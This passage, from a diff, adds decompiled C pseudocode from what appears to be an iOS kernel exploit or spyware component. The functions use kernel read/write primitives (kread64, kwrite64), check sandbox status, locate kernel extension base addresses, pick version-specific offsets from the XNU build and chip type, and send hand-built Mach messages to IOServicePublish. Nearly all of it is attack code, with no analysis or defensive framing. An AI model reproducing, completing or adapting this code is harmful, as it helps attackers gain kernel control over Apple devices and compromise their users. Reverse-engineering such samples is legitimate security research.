= 8LL; + else + v16 = 4LL; + v17 = 0x30LL; + goto LABEL_26; + } + if ( v10 == 0x1C1B || v10 == 0x1F53 ) + { + v13 = a4; + v14 = a3; + v27 = a5; + v15 = 0x10LL; + v16 = 4LL; + v17 = 0x48LL; + v18 = 0x10; + goto LABEL_26; + } + return result; +} + +//----- (0000000000023D30) ---------------------------------------------------- +void __fastcall sub_23D30(__int64 a1, char a2) +{ + int v4; // w0 + unsigned __int64 v5; // x1 + unsigned int v6; // w20 + mach_vm_address_t v7; // x0 + __int64 v8; // x2 + int v9; // w0 + __int64 v10; // [xsp+0h] [xbp-70h] BYREF + unsigned int v11; // [xsp+Ch] [xbp-64h] BYREF + void *v12; // [xsp+10h] [xbp-60h] BYREF + unsigned int v13; // [xsp+1Ch] [xbp-54h] BYREF + void *v14; // [xsp+20h] [xbp-50h] BYREF + _QWORD v15[4]; // [xsp+28h] [xbp-48h] BYREF + + if ( (unsigned int)sub_34D14(a1, mach_task_self_) ) + { + if ( (a2 & 1) != 0 ) + { + if ( validate_addr(a1, *(_QWORD *)(a1 + 0x398)) ) + { + if ( !krw_ctx_has_flag((_DWORD *)a1, 4) ) + { + sub_35AE0(a1, *(_DWORD *)(a1 + 0x37C), 0LL); + if ( v4 ) + { + v5 = *(_QWORD *)(a1 + 0x18E0); + if ( !v5 ) + { + v15[0] = 0LL; + v5 = sub_340D8((_DWORD *)a1, mach_task_self_, v15); + *(_QWORD *)(a1 + 0x18E0) = v5; + *(_QWORD *)(a1 + 0x18E8) = v15[0]; + } + sub_35ECC(a1, v5, 0xA); + if ( *(int *)(a1 + 0x140) < 0x1C1B ) + { + v14 = 0LL; + v13 = 0; + v12 = 0LL; + v11 = 0; + if ( (unsigned int)sub_239D8(a1, &v14, &v13, &v12, &v11, 1) ) + { + if ( (unsigned int)sub_24368(a1, (__int16 *)v14, v13) ) + { + v10 = 0x786F62646E6153LL; + v15[0] = v14; + v15[1] = v13; + v15[2] = v12; + v15[3] = v11; + v6 = sub_40FB0((__int64)&v10, 0LL, (__int64)v15); + } + else + { + v6 = 0xFFFFFFFF; + } + if ( v14 ) + free(v14); + if ( v12 ) + free(v12); + } + else + { + v6 = 0xFFFFFFFF; + } + } + else + { + strcpy((char *)v15, "MobileBackup"); + v6 = sub_23940(a1, (__int64)v15); + } + sub_35AE0(a1, *(_DWORD *)(a1 + 0x37C), *(_QWORD *)(a1 + 0x3A8)); + if ( !v6 ) + krw_ctx_set_flag((_DWORD *)a1, 4); + } + } + } + } + else if ( krw_ctx_has_flag((_DWORD *)a1, 4) ) + { + v7 = sub_33FFC(a1, mach_task_self_); + if ( v7 ) + { + v8 = *(_QWORD *)(a1 + 0x18E8); + if ( v8 ) + { + sub_2A63C(a1, v7, v8); + if ( v9 ) + sub_36088((_DWORD *)a1, 4); + } + } + } + } +} +// 23DA8: variable 'v4' is possibly undefined +// 23E54: variable 'v9' is possibly undefined + +//----- (0000000000023F78) ---------------------------------------------------- +__int64 __fastcall sub_23F78(__int64 a1, void (__fastcall *a2)(__int64), __int64 a3) +{ + __int64 result; // x0 + __int64 v7; // x20 + mach_vm_address_t v8; // x23 + + result = 0LL; + if ( a1 ) + { + if ( a2 ) + { + result = sub_34D14(a1, mach_task_self_); + if ( (_DWORD)result ) + { + v7 = *(_QWORD *)(a1 + 0x3A8); + if ( !v7 ) + { + a2(a3); + return 1LL; + } + v8 = *(_QWORD *)(a1 + 0x18F0) + (unsigned int)((*(_DWORD *)(a1 + 0x37C) + 1) * *(_DWORD *)(a1 + 0x168)); + if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF + || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF + || *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF + || !*(_QWORD *)(a1 + 0x218) + || *(_BYTE *)(a1 + 0xC) ) + { + result = kwrite64( + a1, + *(_QWORD *)(a1 + 0x18F0) + (unsigned int)((*(_DWORD *)(a1 + 0x37C) + 1) * *(_DWORD *)(a1 + 0x168)), + 0LL); + if ( !(_DWORD)result ) + return result; + goto LABEL_11; + } + result = sub_2A0D8( + a1, + *(_QWORD *)(a1 + 0x18F0) + (unsigned int)((*(_DWORD *)(a1 + 0x37C) + 1) * *(_DWORD *)(a1 + 0x168)), + 0LL); + if ( (_DWORD)result ) + { +LABEL_11: + a2(a3); + if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF + || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF + || *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF + || !*(_QWORD *)(a1 + 0x218) + || *(_BYTE *)(a1 + 0xC) ) + { + result = kwrite64(a1, v8, v7); + if ( !(_DWORD)result ) + return result; + } + else + { + result = sub_2A0D8(a1, v8, v7); + if ( !(_DWORD)result ) + return result; + } + return 1LL; + } + } + } + } + return result; +} + +//----- (00000000000240CC) ---------------------------------------------------- +__int64 __fastcall check_sandboxed(int a1) +{ + __int64 result; // x0 + int v3; // w0 + bool v4; // zf + int v5; // w0 + + getpid(); + result = sandbox_check(); + if ( (_DWORD)result ) + { + getpid(); + if ( (unsigned int)sandbox_check() ) + return 0LL; + getpid(); + v3 = sandbox_check(); + v4 = v3 == 0; + result = v3 != 0; + v4 = v4 || a1 == 0; + if ( !v4 ) + { + getpid(); + result = sandbox_check(); + if ( (_DWORD)result != 1 ) + { + v5 = socket(2, 2, 0); + if ( v5 != 0xFFFFFFFF ) + { + close(v5); + return 0LL; + } + return 1LL; + } + } + } + return result; +} + +//----- (00000000000241BC) ---------------------------------------------------- +__int64 __fastcall another_sandbox_check(__int64 a1) +{ + int v2; // w8 + __int64 result; // x0 + + getpid(); + v2 = sandbox_check(); + if ( !v2 || (result = 0LL, v2 == 1) ) + { + *(_BYTE *)(a1 + 0xA) = v2; + return 1LL; + } + return result; +} + +//----- (0000000000024208) ---------------------------------------------------- +unsigned __int64 __fastcall sub_24208(__int64 a1) +{ + unsigned __int64 result; // x0 + __int64 v3; // x8 + _BOOL4 has_flag; // w0 + __int64 v5; // x8 + __int64 v6; // x20 + __int64 v7; // x21 + unsigned __int64 v8; // x21 + int v9; // w8 + __int64 v10; // x1 + unsigned int v11; // w0 + __int64 v12; // x8 + __int64 v13[3]; // [xsp+0h] [xbp-50h] BYREF + __int128 v14; // [xsp+18h] [xbp-38h] BYREF + + result = *(_QWORD *)(a1 + 0x5C0); + if ( result ) + return result; + v3 = *(_QWORD *)(a1 + 0x118); + if ( v3 ) + { + if ( *(_QWORD *)(a1 + 0x120) ) + { + result = *(_QWORD *)(v3 + 0x130); + if ( result ) + { +LABEL_6: + *(_QWORD *)(a1 + 0x5C0) = result; + return result; + } + } + } + has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x1000); + v5 = 0x19F8LL; + if ( !has_flag ) + v5 = 0x1D18LL; + v6 = *(_QWORD *)(a1 + v5); + if ( !v6 ) + return 0LL; + sub_19C34("__TEXT", v6, "__cstring", &v14); + result = sub_1E0C8(&v14, "appleevent-send", 0, 1); + if ( result ) + { + v7 = result; + sub_19C34("__DATA_CONST", v6, "__const", v13); + result = sub_1E1B8(v13, v7, *(unsigned __int8 *)(v6 + 0x34)); + if ( result ) + { + v8 = result; + v9 = *(_DWORD *)(a1 + 0x140); + if ( v9 < 0x1C1B ) + { + if ( v9 < 0x1809 ) + { + v11 = sub_1984C(); + v10 = sub_19B94(v6, v8 - 2LL * v11); + } + else + { + v10 = result - 0x80; + } + } + else + { + v10 = result - 0xB8; + } + result = validate_addr(a1, v10); + if ( result ) + { + v12 = *(_QWORD *)(a1 + 0x118); + if ( v12 ) + { + if ( *(_QWORD *)(a1 + 0x120) ) + *(_QWORD *)(v12 + 0x130) = result; + } + goto LABEL_6; + } + } + } + return result; +} +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); + +//----- (0000000000024368) ---------------------------------------------------- +void *__fastcall sub_24368(__int64 a1, __int16 *a2, __int64 a3) +{ + int v3; // w8 + __int64 v7; // x23 + unsigned __int64 v8; // x26 + unsigned __int64 v9; // x8 + unsigned __int64 v10; // x25 + void *result; // x0 + int v12; // w8 + int v13; // w9 + __int64 v14; // x22 + void *v15; // x21 + int v16; // w24 + char *v17; // x25 + int v18; // w26 + unsigned int v19; // w4 + unsigned int v20; // w0 + unsigned int v21; // w23 + unsigned int v22; // [xsp+Ch] [xbp-44h] BYREF + + v3 = *(_DWORD *)(a1 + 0x140); + if ( v3 != 0x1C1B && v3 != 0x1809 ) + return 0LL; + if ( (unsigned int)a3 < 0xC ) + return 0LL; + if ( *a2 < 0 ) + return 0LL; + v7 = 2LL * *((unsigned __int8 *)a2 + 5); + v8 = *((unsigned __int8 *)a2 + 0xA) + (unsigned __int64)(unsigned __int16)a2[4] + *((unsigned __int8 *)a2 + 0xB); + v9 = v7 + 2 * v8; + v10 = v9 + 0xC; + if ( (int)v9 + 0xC > (unsigned int)a3 ) + return 0LL; + v12 = v10 + 2 * *((unsigned __int8 *)a2 + 4); + v13 = 8 - (v12 & 6); + if ( (v12 & 6) == 0 ) + v13 = 0; + v14 = (unsigned int)(v13 + v12); + v22 = v13 + v12; + result = calloc((unsigned int)(8 * a3), 1uLL); + if ( result ) + { + v15 = result; + if ( (unsigned int)v10 < (unsigned int)v14 ) + { + v16 = 0; + v17 = (char *)a2 + v10; + v18 = 2 * v8 + v7 + 0xC; + while ( *(_WORD *)&v17[v16] ) + { + v19 = v14 + 8 * *(unsigned __int16 *)&v17[v16]; + if ( v19 < v18 + v16 ) + { + v21 = 0xFFFFFFFE; + goto LABEL_21; + } + v20 = sub_244C8((__int64)a2, a3, (__int64)v15, v14, v19, &v22); + if ( v20 ) + { + v21 = v20; + goto LABEL_21; + } + v16 += 2; + if ( v18 + v16 >= v22 ) + break; + } + } + v21 = 0; +LABEL_21: + free(v15); + return (void *)(v21 == 0); + } + return result; +} + +//----- (00000000000244C8) ---------------------------------------------------- +__int64 __fastcall sub_244C8(__int64 a1, __int64 a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int *a6) +{ + __int64 result; // x0 + unsigned __int64 v8; // x8 + __int64 v13; // x24 + __int16 v14; // w8 + + if ( a5 + 8 > (unsigned int)a2 ) + return 0xFFFFFFFFLL; + v8 = (unsigned __int64)a5 >> 3; + if ( *(_BYTE *)(a3 + v8) ) + return 0LL; + *(_BYTE *)(a3 + v8) = 1; + if ( *a6 > a5 ) + *a6 = a5; + v13 = a1 + a5; + if ( *(_BYTE *)v13 == 1 ) + { + v14 = *(_WORD *)(v13 + 1); + if ( (v14 & 1) != 0 ) + *(_WORD *)(v13 + 1) = v14 & 0xFFFA; + return 0LL; + } + result = sub_244C8(a1, a2, a3, a4, (unsigned int)a4 + 8 * *(unsigned __int16 *)(v13 + 4), a6); + if ( !(_DWORD)result ) + { + result = sub_244C8(a1, a2, a3, a4, (unsigned int)a4 + 8 * *(unsigned __int16 *)(v13 + 6), a6); + if ( !(_DWORD)result ) + return 0LL; + } + return result; +} + +//----- (00000000000245BC) ---------------------------------------------------- +__int64 __fastcall get_kext_base_addr(__int64 a1, char *__s, _QWORD *a3) +{ + size_t v6; // x0 + __int64 result; // x0 + __int64 v8; // [xsp+8h] [xbp-28h] BYREF + + v6 = strlen(__s); + result = sub_24620(a1, __s, v6 + 1, &v8); + if ( (_DWORD)result ) + { + *a3 = v8; + return 1LL; + } + return result; +} + +//----- (0000000000024620) ---------------------------------------------------- +__int64 __fastcall sub_24620(__int64 a1, char *__s2, unsigned __int64 a3, __int64 *a4) +{ + size_t v5; // x21 + __int64 v8; // x0 + __int64 v9; // x0 + char *v10; // x23 + unsigned int v11; // w8 + __int64 v12; // x24 + const char *i; // x22 + __int64 v14; // x8 + __int64 v15; // x23 + __int64 v16; // x0 + __int64 v17; // x8 + __int64 v18; // x24 + char *v19; // x0 + __int64 v20; // x25 + __int64 v21; // x26 + _OWORD *v22; // x27 + __int128 v23; // q1 + __int128 v24; // q1 + unsigned int v26; // [xsp+4h] [xbp-ACh] BYREF + __int64 v27; // [xsp+8h] [xbp-A8h] BYREF + __int64 v28; // [xsp+10h] [xbp-A0h] BYREF + _OWORD v29[3]; // [xsp+18h] [xbp-98h] BYREF + __int128 v30; // [xsp+48h] [xbp-68h] + + v5 = a3; + v8 = *(_QWORD *)(a1 + 0x1A00); + if ( v8 ) + { + v9 = sub_19D20(v8, __s2, a3); + if ( v9 ) + { + *a4 = v9; + return 1LL; + } + } + v10 = *(char **)(a1 + 0x1D10); + if ( v10 ) + { + v11 = *(_DWORD *)(a1 + 0x1D08); +LABEL_6: + if ( v5 >= 0x40 ) + v5 = 0x40LL; + if ( v11 ) + { + v12 = v11; + for ( i = v10 + 8; strncmp(__s2, i, v5); i += 0x48 ) + { + if ( !--v12 ) + return 0LL; + } + *a4 = *((_QWORD *)i + 0xFFFFFFFF); + return 1LL; + } + return 0LL; + } + v14 = *(_QWORD *)(a1 + 0x118); + if ( !v14 || !*(_QWORD *)(a1 + 0x120) || (v15 = *(_QWORD *)(v14 + 0x108)) == 0 ) + { + v16 = sub_1E62C(*(__int64 **)(a1 + 0x19F8)); + if ( !v16 ) + return 0LL; + v15 = v16; + if ( !validate_addr(a1, v16) ) + return 0LL; + v17 = *(_QWORD *)(a1 + 0x118); + if ( v17 && *(_QWORD *)(a1 + 0x120) ) + *(_QWORD *)(v17 + 0x108) = v15; + } + if ( kread32_outptr(a1, v15 + 0x14, &v26) && v26 <= 0x400 ) + { + if ( (unsigned int)kread64(a1, v15 + 0x20, &v27) ) + { + if ( validate_addr(a1, v27) ) + { + v18 = v26; + v19 = (char *)calloc(0x48LL * v26, 1uLL); + if ( v19 ) + { + v10 = v19; + if ( (_DWORD)v18 ) + { + v20 = 0LL; + v21 = v27; + v22 = v19 + 8; + while ( (unsigned int)kread64(a1, v21 + (unsigned int)(*(_DWORD *)(a1 + 0x168) * v20), &v28) ) + { + if ( !validate_addr(a1, v28) ) + break; + if ( !(unsigned int)kread64(a1, v28 + 0x50, &v28) ) + break; + if ( !(unsigned int)kreadbuf_last_1(a1, v28 + 0x10, 0x40LL, (__int64)v29) ) + break; + HIBYTE(v30) = 0; + v23 = v29[1]; + *v22 = v29[0]; + v22[1] = v23; + v24 = v30; + v22[2] = v29[2]; + v22[3] = v24; + if ( !(unsigned int)kread64(a1, v28 + 0x9C, &v28) ) + break; + *((_QWORD *)v22 + 0xFFFFFFFF) = v28; + ++v20; + v22 = (_OWORD *)((char *)v22 + 0x48); + if ( v18 == v20 ) + { + v11 = v26; + goto LABEL_40; + } + } + free(v10); + return 0LL; + } + v11 = 0; +LABEL_40: + *(_QWORD *)(a1 + 0x1D10) = v10; + *(_DWORD *)(a1 + 0x1D08) = v11; + goto LABEL_6; + } + } + } + } + return 0LL; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); + +//----- (00000000000248A4) ---------------------------------------------------- +__int64 __fastcall sub_248A4(__int64 a1, char *a2, unsigned __int64 a3, _QWORD *a4) +{ + __int64 result; // x0 + __int64 v6; // [xsp+8h] [xbp-18h] BYREF + + result = sub_24620(a1, a2, a3, &v6); + if ( (_DWORD)result ) + { + *a4 = v6; + return 1LL; + } + return result; +} + +//----- (00000000000248E4) ---------------------------------------------------- +__int64 __fastcall sub_248E4(__int64 a1) +{ + __int64 result; // x0 + + if ( !a1 ) + return 0xAD001LL; + result = 0LL; + *(_QWORD *)a1 = 0LL; + *(_QWORD *)(a1 + 8) = 0LL; + *(_DWORD *)(a1 + 0x10) = 0; + return result; +} + +//----- (0000000000024908) ---------------------------------------------------- +__int64 __fastcall sub_24908(__int64 a1) +{ + void *v2; // x0 + __int64 result; // x0 + + if ( !a1 ) + return 0xAD001LL; + v2 = *(void **)a1; + if ( v2 ) + free(v2); + result = 0LL; + *(_QWORD *)a1 = 0LL; + *(_QWORD *)(a1 + 8) = 0LL; + *(_DWORD *)(a1 + 0x10) = 0; + return result; +} + +//----- (0000000000024954) ---------------------------------------------------- +double __fastcall sub_24954(__int64 a1, int a2) +{ + double result; // d0 + __int64 v5; // x8 + + if ( !(unsigned int)sub_249B8(a1, 0xCu) ) + { + v5 = *(unsigned int *)(a1 + 8) + *(_QWORD *)a1; + *(_DWORD *)v5 = a2; + result = 2.64227521e-308; + *(_QWORD *)(v5 + 4) = 0x13000000000000LL; + *(_DWORD *)(a1 + 8) += 0xC; + ++*(_DWORD *)(a1 + 0x10); + } + return result; +} + +//----- (00000000000249B8) ---------------------------------------------------- +__int64 __fastcall sub_249B8(__int64 a1, unsigned int a2) +{ + int v2; // w8 + int v3; // w9 + __int64 v4; // x19 + unsigned int v6; // w21 + void *v7; // x0 + int v8; // w8 + + v2 = *(_DWORD *)(a1 + 8); + v3 = *(_DWORD *)(a1 + 0xC); + if ( v3 - v2 >= a2 ) + return 0LL; + v4 = 0xAD009LL; + if ( a2 <= 0xFFFFFBFF ) + { + if ( v3 ) + { + v6 = a2 + 0x400; + v7 = realloc(*(void **)a1, v2 + a2 + 0x400); + if ( !v7 ) + return v4; + } + else + { + v6 = a2 + 0x41C; + v7 = calloc(a2 + 0x41C, 1uLL); + if ( !v7 ) + return v4; + } + *(_QWORD *)a1 = v7; + v8 = *(_DWORD *)(a1 + 8); + *(_DWORD *)(a1 + 0xC) = v8 + v6; + if ( !v8 ) + { + v4 = 0LL; + *(_DWORD *)(a1 + 8) = 0x1C; + return v4; + } + return 0LL; + } + return 0xAD00CLL; +} + +//----- (0000000000024A64) ---------------------------------------------------- +__int64 __fastcall sub_24A64(__int64 a1, __int64 a2, int a3) +{ + __int64 result; // x0 + __int64 v7; // x8 + + result = sub_249B8(a1, 0x10u); + if ( !(_DWORD)result ) + { + v7 = *(unsigned int *)(a1 + 8) + *(_QWORD *)a1; + *(_QWORD *)v7 = a2; + *(_DWORD *)(v7 + 8) = 0x2130000; + *(_DWORD *)(v7 + 0xC) = a3; + *(_DWORD *)(a1 + 8) += 0x10; + ++*(_DWORD *)(a1 + 0x10); + } + return result; +} + +//----- (0000000000024AD0) ---------------------------------------------------- +__int64 __fastcall sub_24AD0(__int64 a1, const void *a2, unsigned int a3) +{ + __int64 v6; // x21 + + v6 = sub_249B8(a1, a3); + if ( !(_DWORD)v6 ) + { + memcpy((void *)(*(unsigned int *)(a1 + 8) + *(_QWORD *)a1), a2, a3); + *(_DWORD *)(a1 + 8) += a3; + } + return v6; +} + +//----- (0000000000024B38) ---------------------------------------------------- +__int64 __fastcall sub_24B38(__int64 a1, mach_port_t a2, mach_port_t a3, mach_msg_id_t a4) +{ + __int64 result; // x0 + mach_msg_header_t *v6; // x10 + mach_msg_bits_t v7; // w11 + int v8; // w9 + mach_msg_size_t v9; // w9 + mach_msg_return_t v10; // w0 + + result = 0xAD001LL; + if ( a1 ) + { + v6 = *(mach_msg_header_t **)a1; + if ( *(_QWORD *)a1 ) + { + v7 = *(_DWORD *)(a1 + 0x10); + if ( v7 ) + v8 = 0x80001514; + else + v8 = 0x1514; + v6->msgh_bits = v8; + v9 = *(_DWORD *)(a1 + 8); + v6->msgh_size = v9; + v6->msgh_remote_port = a3; + v6->msgh_local_port = a2; + v6->msgh_voucher_port = 0; + v6->msgh_id = a4; + v6[1].msgh_bits = v7; + v10 = mach_msg(*(mach_msg_header_t **)a1, 0x40001, v9, 0, 0, 0, 0); + if ( v10 ) + return v10 | 0x80000000; + else + return 0LL; + } + } + return result; +} + +//----- (0000000000024BC0) ---------------------------------------------------- +double __fastcall sub_24BC0(__int64 a1) +{ + char *v2; // x0 + char *v3; // x0 + double result; // d0 + __int64 v5; // x8 + unsigned __int64 v6; // x22 + int v7; // w8 + int v8; // w8 + char v9; // [xsp+30h] [xbp-560h] BYREF + char v10; // [xsp+34h] [xbp-55Ch] BYREF + __int64 v11; // [xsp+38h] [xbp-558h] BYREF + __int64 v12; // [xsp+40h] [xbp-550h] BYREF + utsname v13; // [xsp+48h] [xbp-548h] BYREF + + uname(&v13); + *(_QWORD *)a1 = strdup(v13.version); + v11 = 0LL; + v12 = 0LL; + v2 = strstr(v13.version, "xnu-"); + if ( sscanf(v2, "xnu-%d.%d.%d~%d", &v11, (char *)&v11 + 4, &v12, (char *)&v12 + 4) == 4 + || (v3 = strstr(v13.version, "xnu-"), + sscanf(v3, "xnu-%d.%d.%d.%d.%d~%d", &v11, (char *)&v11 + 4, &v12, &v9, &v10, (char *)&v12 + 4) == 6) ) + { + v5 = 0LL; + v6 = 0LL; + do + { + v6 = *(int *)((char *)&v11 + v5) + 0x3E8 * v6; + v5 += 4LL; + } + while ( v5 != 0x10 ); + *(_QWORD *)(a1 + 8) = v6; + *(_DWORD *)(a1 + 0x24) = 0x26; + if ( strstr(v13.version, "T8120") ) + v7 = 0x2E; + else + v7 = 0x26; + *(_DWORD *)(a1 + 0x24) = v7; + if ( v6 <= 0x74B4D4047FFLL ) + { + if ( v6 < 0x73835AB9470LL ) + v8 = 0x68; + else + v8 = 0x58; + } + else + { + v8 = 0x48; + } + *(_DWORD *)(a1 + 0x20) = v8; + *(_QWORD *)&result = 0x30000000060LL; + *(_OWORD *)(a1 + 0x10) = xmmword_43690; + } + return result; +} +// 43690: using guessed type __int128 xmmword_43690; + +//----- (0000000000024D64) ---------------------------------------------------- +const __CFDictionary *__fastcall sub_24D64(const char *a1) +{ + const __CFDictionary *result; // x0 + __int64 vars8; // [xsp+8h] [xbp+8h] + + result = IOServiceMatching(a1); + if ( result ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return (const __CFDictionary *)IOServiceGetMatchingService(kIOMasterPortDefault, result); + } + return result; +} +// 24D90: variable 'vars8' is possibly undefined + +//----- (0000000000024DA8) ---------------------------------------------------- +__int64 __fastcall sub_24DA8( + unsigned int a1, + __int64 a2, + __int64 a3, + unsigned int a4, + unsigned int a5, + const void *a6, + int a7) +{ + mach_port_t reply_port; // w0 + mach_port_t v14; // w21 + __int64 v15; // x0 + int v16; // w8 + int v17; // w9 + int v18; // w23 + _DWORD *v19; // x8 + mach_port_t msgh_remote_port; // w10 + mach_msg_size_t msgh_size; // w8 + char v22; // w9 + mach_msg_header_t v24[2]; // [xsp+0h] [xbp-170h] BYREF + __int128 v25; // [xsp+30h] [xbp-140h] + __int128 v26; // [xsp+40h] [xbp-130h] + __int128 v27; // [xsp+50h] [xbp-120h] + __int128 v28; // [xsp+60h] [xbp-110h] + __int128 v29; // [xsp+70h] [xbp-100h] + __int128 v30; // [xsp+80h] [xbp-F0h] + __int128 v31; // [xsp+90h] [xbp-E0h] + __int128 v32; // [xsp+A0h] [xbp-D0h] + __int128 v33; // [xsp+B0h] [xbp-C0h] + __int128 v34; // [xsp+C0h] [xbp-B0h] + __int128 v35; // [xsp+D0h] [xbp-A0h] + __int128 v36; // [xsp+E0h] [xbp-90h] + __int128 v37; // [xsp+F0h] [xbp-80h] + __int128 v38; // [xsp+100h] [xbp-70h] + + v37 = 0u; + v38 = 0u; + v35 = 0u; + v36 = 0u; + v33 = 0u; + v34 = 0u; + v31 = 0u; + v32 = 0u; + v29 = 0u; + v30 = 0u; + v27 = 0u; + v28 = 0u; + v25 = 0u; + v26 = 0u; + memset(v24, 0, sizeof(v24)); + reply_port = mig_get_reply_port(); + if ( reply_port ) + { + v14 = reply_port; + v24[0].msgh_bits = 0x80001513; + *(_QWORD *)&v24[0].msgh_remote_port = __PAIR64__(reply_port, a1); + *(_QWORD *)&v24[0].msgh_id = 0x200000B36LL; + *(_QWORD *)&v24[1].msgh_size = a3; + v24[1].msgh_local_port = 0x1000000; + *(_QWORD *)&v24[1].msgh_voucher_port = __PAIR64__(a5, a4); + DWORD1(v25) = 0x140000; + *((NDR_record_t *)&v25 + 1) = NDR_record; + v15 = __strlcpy_chk(); + v16 = v15 + 1; + v17 = 8 - ((v15 + 1) & 7); + if ( ((v15 + 1) & 7) == 0 ) + v17 = 0; + v18 = v17 + v16; + DWORD1(v26) = v17 + v16; + v19 = (mach_msg_bits_t *)((char *)&v24[0].msgh_bits + (unsigned int)(v17 + v16)); + v19[0x12] = a4; + v19[0x13] = a7; + memcpy(v19 + 0x14, a6, (unsigned int)(8 * a7)); + if ( mach_msg(v24, 3, v18 + 8 * a7 + 0x50, 0x110u, v14, 0, 0) ) + { + mig_dealloc_reply_port(v14); + msgh_remote_port = 0; + msgh_size = 0; + v22 = 0; + } + else if ( v24[0].msgh_id == 0xB9A ) + { + if ( (v24[0].msgh_bits & 0x80000000) != 0 && v24[1].msgh_bits == 1 ) + { + msgh_remote_port = 0; + v22 = 1; + msgh_size = v24[1].msgh_size; + } + else + { + msgh_size = 0; + v22 = 1; + msgh_remote_port = v24[1].msgh_remote_port; + } + } + else + { + msgh_size = 0; + v22 = 1; + msgh_remote_port = 0xFFFFFED3; + } + } + else + { + msgh_remote_port = 0; + msgh_size = 0; + v22 = 1; + } + if ( ((unsigned __int8)v22 & (msgh_remote_port == 0) & (msgh_size != 0) & (msgh_size != 0xFFFFFFFF)) != 0 ) + return msgh_size; + else + return 0LL; +} + +//----- (0000000000024FC0) ---------------------------------------------------- +__int64 __fastcall sub_24FC0(__int64 a1, unsigned int a2, mach_port_name_t *a3) +{ + host_t v6; // w0 + __int64 result; // x0 + mach_port_name_t name; // [xsp+8h] [xbp-28h] BYREF + io_master_t io_master; // [xsp+Ch] [xbp-24h] BYREF + + v6 = mach_host_self(); + if ( !host_get_io_master(v6, &io_master) && !mach_port_allocate(mach_task_self_, 1u, &name) ) + { + result = sub_24DA8(io_master, (__int64)"IOServicePublish", a1, a2, name, 0LL, 0); + if ( (_DWORD)result ) + { + *a3 = name; + return result; + } + mach_port_destroy(mach_task_self_, name); + } + return 0LL; +} + +//----- (0000000000025068) ---------------------------------------------------- +bool __fastcall sub_25068(thread_act_t a1, thread_policy_t policy_info) +{ + return !thread_policy_set(a1, 2u, policy_info, 4u) && thread_policy_set(a1, 3u, policy_info + 4, 1u) == 0; +} + +//----- (00000000000250C4) ---------------------------------------------------- +bool __fastcall sub_250C4(thread_act_t a1, unsigned int a2) +{ + unsigned __int64 v4; // d0 + unsigned __int64 v5; // d1 + double v7; // d0 + mach_timebase_info v8; // [xsp+0h] [xbp-30h] BYREF + integer_t policy_info[3]; // [xsp+8h] [xbp-28h] BYREF + __int64 v10; // [xsp+14h] [xbp-1Ch] + + if ( mach_timebase_info(&v8) ) + return 0LL; + LODWORD(v5) = v8.numer; + LODWORD(v4) = v8.denom; + v7 = (double)v4 / (double)v5 * 1000000.0; + policy_info[0] = (unsigned int)(v7 * (double)a2); + policy_info[1] = (unsigned int)(v7 * 50.0); + policy_info[2] = policy_info[0]; + v10 = 0x7F00000000LL; + return sub_25068(a1, policy_info); +} +// 250F8: variable 'v4' is possibly undefined +// 250FC: variable 'v5' is possibly undefined + +//----- (000000000002515C) ---------------------------------------------------- +bool __fastcall sub_2515C(thread_act_t a1) +{ + return sub_250C4(a1, 0x32u); +} + +//----- (0000000000025164) ---------------------------------------------------- +__int64 __fastcall sub_25164(__int64 a1, unsigned int a2) +{ + __int64 result; // x0 + __int64 v4; // x9 + + result = 0xAD008LL; + v4 = *(_QWORD *)(a1 + 0x118); + if ( v4 && *(_QWORD *)(a1 + 0x120) ) + { + if ( a2 > 0x3F ) + { + return 0x28011LL; + } + else + { + result = 0LL; + atomic_store(0, (unsigned __int8 *)(v4 + a2)); + } + } + return result; +} + +//----- (00000000000251A4) ---------------------------------------------------- +__int64 __fastcall sub_251A4(__int64 a1, unsigned int a2, unsigned int a3) +{ + __int64 v3; // x19 + __int64 v4; // x25 + uint64_t v8; // x0 + uint64_t v9; // x22 + atomic_uchar *v10; // x25 + + v3 = 0xAD008LL; + v4 = *(_QWORD *)(a1 + 0x118); + if ( v4 && *(_QWORD *)(a1 + 0x120) ) + { + if ( a2 > 0x3F ) + { + return 0x28011LL; + } + else + { + v8 = mach_absolute_time(); + if ( (atomic_exchange((atomic_uchar *volatile)(v4 + a2), 1u) & 1) != 0 ) + { + v9 = v8; + v10 = (atomic_uchar *)(v4 + a2); + while ( !a3 + || a3 >= (mach_absolute_time() - v9) + * *(unsigned int *)(a1 + 0x25C) + / *(unsigned int *)(a1 + 0x260) + / 0xF4240 ) + { + thread_switch(0, 2, 1u); + if ( (atomic_exchange(v10, 1u) & 1) == 0 ) + return 0LL; + } + return 0xAD020LL; + } + else + { + return 0LL; + } + } + } + return v3; +} + +//----- (0000000000025294) ---------------------------------------------------- +__int64 __fastcall fd_close(int a1) +{ + __int64 result; // x0 + int v2; // w19 + int v3; // w8 + + result = close(a1); + if ( (_DWORD)result ) + { + v2 = *__error(); + v3 = *__error(); + if ( v2 < 0 ) + v3 = -v3; + return v3 | 0x40000000u; + } + return result; +} + +//----- (00000000000252D4) ---------------------------------------------------- +__int64 __fastcall fd_open_dev_null(int *a1) +{ + int v2; // w0 + int v3; // w8 + __int64 result; // x0 + int v5; // w19 + int v6; // w8 + + v2 = open("/dev/null", 0x20); + if ( v2 < 0 ) + { + v5 = *__error(); + v6 = *__error(); + if ( v5 < 0 ) + v6 = -v6; + return v6 | 0x40000000u; + } + else + { + v3 = v2; + result = 0LL; + *a1 = v3; + } + return result; +} + +//----- (0000000000025334) ---------------------------------------------------- +__int64 __fastcall sub_25334(int *a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5) +{ + __int64 v5; // x20 + __int64 test; // x26 + _QWORD v13[3]; // [xsp+8h] [xbp-78h] BYREF + __int64 v14; // [xsp+20h] [xbp-60h] BYREF + __int64 v15; // [xsp+28h] [xbp-58h] + unsigned __int64 v16; // [xsp+30h] [xbp-50h] + int v17; // [xsp+3Ch] [xbp-44h] BYREF + + v5 = 0xAD001LL; + if ( a1[0x64C] != 